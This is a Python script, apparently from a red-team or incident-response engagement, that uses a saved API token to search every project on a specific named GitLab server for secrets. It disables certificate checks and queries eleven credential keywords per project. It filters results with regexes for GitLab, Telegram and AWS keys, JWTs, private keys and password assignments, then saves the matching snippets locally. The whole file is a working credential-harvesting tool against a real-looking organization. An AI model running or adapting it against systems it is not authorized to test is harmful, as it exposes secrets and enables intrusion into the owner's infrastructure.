#!/usr/bin/env python3
"""vdss blob search with per-project checkpoint (resume-safe). Read-only.
91 projects x 11 patterns; checkpoints to L2_blobs/<id>.json."""
import json, ssl, sys, time, urllib.error, urllib.parse, urllib.request
from concurrent.futures import ThreadPoolExecutor, as_completed
from pathlib import Path

BASE='https://gitlab.vdss.com.vn'
D=Path('/root/ir-assessment/redteam/gitlab_vdss_com_vn')
CK=D/'L2_blobs'; CK.mkdir(exist_ok=True)
TOK=(D/'.token').read_text().strip()
CTX=ssl.create_default_context(); CTX.check_hostname=False; CTX.verify_mode=ssl.CERT_NONE
H={'Authorization':f'Bearer {TOK}','User-Agent':'l2-blob/1.0'}
Q=['password','passwd','secret','api_key','apikey','token','private_key','BEGIN','AKIA','access_key','secret_key']

import re
NOISE=re.compile(r'\.data-api|b03f5f7f11d50a3a|process\.env\.|env\(\'|tobemodified|node_modules|vendor/|\.lock|package-lock|yarn\.lock|CHANGELOG|\.min\.js',re.I)
INTERESTING=re.compile(r'glpat-|\d{8,10}:AA[\w-]{33}|eyJ[A-Za-z0-9_-]{10,}\.|BEGIN [A-Z ]*PRIVATE KEY|AKIA[0-9A-Z]{16}|(password|passwd|secret|api_key|apikey|token|access_key|secret_key)\s*[:=]\s*["\']?[^\s"\']{6,}',re.I)

def get(path):
    req=urllib.request.Request(BASE+path,headers=H)
    for a in (1,2,3):
        try:
            with urllib.request.urlopen(req,timeout=25,context=CTX) as r:
                return json.loads(r.read())
        except urllib.error.HTTPError as e:
            if e.code in (429,500,502,503) and a<3: time.sleep(2*a); continue
            return None
        except Exception: return None
    return None

def scan(p):
    ck=CK/f"{p['id']}.json"
    if ck.exists(): return json.load(open(ck))
    hits=[]; seen=set()
    for q in Q:
        r=get(f"/api/v4/projects/{p['id']}/search?scope=blobs&search={urllib.parse.quote(q)}&per_page=20")
        if not isinstance(r,list): continue
        for b in r:
            k=(b.get('path'),b.get('ref'))
            if k in seen: continue
            seen.add(k)
            data=(b.get('data') or '')[:400]
            if NOISE.search(data) and not INTERESTING.search(data): continue
            hits.append({'proj':p['path'],'file':b.get('path'),'ref':b.get('ref'),'q':q,'data':data})
    ck.write_text(json.dumps(hits,ensure_ascii=False))
    return hits

enum=json.load(open(D/'L2_admin_enum.json'))
projs=enum['projects']
todo=[p for p in projs if not (CK/f"{p['id']}.json").exists()]
print(f"[*] {len(projs)} projects, {len(todo)} to scan (resume)", file=sys.stderr)
allhits=[]; done=len(projs)-len(todo)
with ThreadPoolExecutor(max_workers=8) as ex:
    futs={ex.submit(scan,p):p['path'] for p in todo}
    for f in as_completed(futs):
        h=f.result(); allhits.extend(h); done+=1
        if h: print(f"  [{futs[f]}] {len(h)} hits", flush=True)
        if done%15==0: print(f"  ... {done}/{len(projs)} (new hits {len(allhits)})", flush=True)

# merge checkpoints into one file
merged=[]
for p in projs:
    ck=CK/f"{p['id']}.json"
    if ck.exists(): merged.extend(json.load(open(ck)))
(D/'L2_blobs.json').write_text(json.dumps(merged,ensure_ascii=False,indent=1))
print(f"[+] DONE {len(projs)} projects, {len(merged)} blob hits -> L2_blobs.json")